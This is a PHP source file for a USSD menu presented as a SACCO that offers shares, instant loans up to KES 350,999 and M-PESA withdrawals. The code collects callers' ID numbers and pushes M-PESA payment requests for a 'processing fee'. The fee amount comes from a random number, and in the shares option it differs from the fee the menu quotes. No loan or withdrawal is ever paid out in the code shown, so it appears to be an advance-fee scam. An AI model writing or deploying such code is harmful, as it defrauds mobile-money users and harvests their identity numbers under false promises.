<?php
// Extension for code 33
if ($lvl == 1) {
    $menu = "WELCOME TO CHOMOA HELA SACCO\n";
    $menu .= "Buy shares & borrow upto KES 350,999 to MPESA ($phone)\n";
    $menu .= "1.Buy Shares\n";
    $menu .= "2.Borrow instant cash\n";
    $menu .= "3.Withdraw cash to M-PESA";
    echo "CON $menu";
    return;
}

$service = $arr[1] ?? '';
if ($service == '2' || $service == '3') {
    if ($lvl == 2) {
        echo 'CON Enter your ID number';
        return;
    }
    if ($lvl == 3) {
        $id   = $arr[2] ?? '';
        $stmt = $conn->prepare("SELECT * FROM loans WHERE msisdn = ?");
        $stmt->execute([$msisdn]);
        $existing = $stmt->fetch(PDO::FETCH_ASSOC);
        $fee      = rand(99, 250);
        if ($existing) {
            $update = $conn->prepare("UPDATE loans SET id_number = ?, updated_at = NOW() WHERE msisdn = ?");
            $update->execute([$id, $msisdn]);
        } else {
            $insert = $conn->prepare("INSERT INTO loans (msisdn, id_number, created_at) VALUES (?, ?, NOW())");
            $insert->execute([$msisdn, $id]);
        }
        require_once __DIR__ . '/../src/MpesaStk.php';
        enqueue_stk_push($msisdn, $fee, ['reference' => 'Loan Processing'], '77');
        echo 'END Kindly complete the payment of processing fee.';
        return;
    }

}

if ($service == '1') {

    if ($lvl == "2") {
        echo "CON Enter your ID number";
        return;
    }
    if ($lvl == 3) {
        $sharesMenu = "Select shares type:\n1. Starter - KES 500\n2. Basic - KES 1,000\n3. Odinary - KES 2,500\n4. Investment - KES 5,000\n5 Special - KES 7,500\n0. Exit";
        echo "CON $sharesMenu";
        return;
    }
    if ($lvl == 4) {
        $sel   = $arr[3] ?? '';
        $types = ['1' => 'Starter', '2' => 'Basic', '3' => 'Ordinary', '4' => 'Investment', '5' => 'Special'];
        $fees  = ['1' => 100, '2' => 100, '3' => 250, '4' => 500, '5' => 750];
        if (! isset($types[$sel])) {
            echo "CON Invalid entry.";
            return;
        }
        $id   = $arr[2] ?? '';
        $stmt = $conn->prepare("SELECT * FROM loans WHERE msisdn = ?");
        $stmt->execute([$msisdn]);
        $existing = $stmt->fetch(PDO::FETCH_ASSOC);
        $fee      = rand(99, 250);
        if ($existing) {
            $update = $conn->prepare("UPDATE loans SET id_number = ?, updated_at = NOW() WHERE msisdn = ?");
            $update->execute([$id, $msisdn]);
        } else {
            $insert = $conn->prepare("INSERT INTO loans (msisdn, id_number, created_at) VALUES (?, ?, NOW())");
            $insert->execute([$msisdn, $id]);
        }

        echo "CON You are about to buy Shares of type {$types[$sel]} that will require processing fee of {$fees[$sel]} to MPESA {$phone}\n\n1.Continue to buy";
        return;
    }
    if ($lvl == 5) {

        $fee      = rand(99, 250);
        enqueue_stk_push($msisdn, $fee, ['reference' => 'Loan Processing'], '77');
        echo 'END Kindly complete the payment of processing fee.';
        return;
    }
}
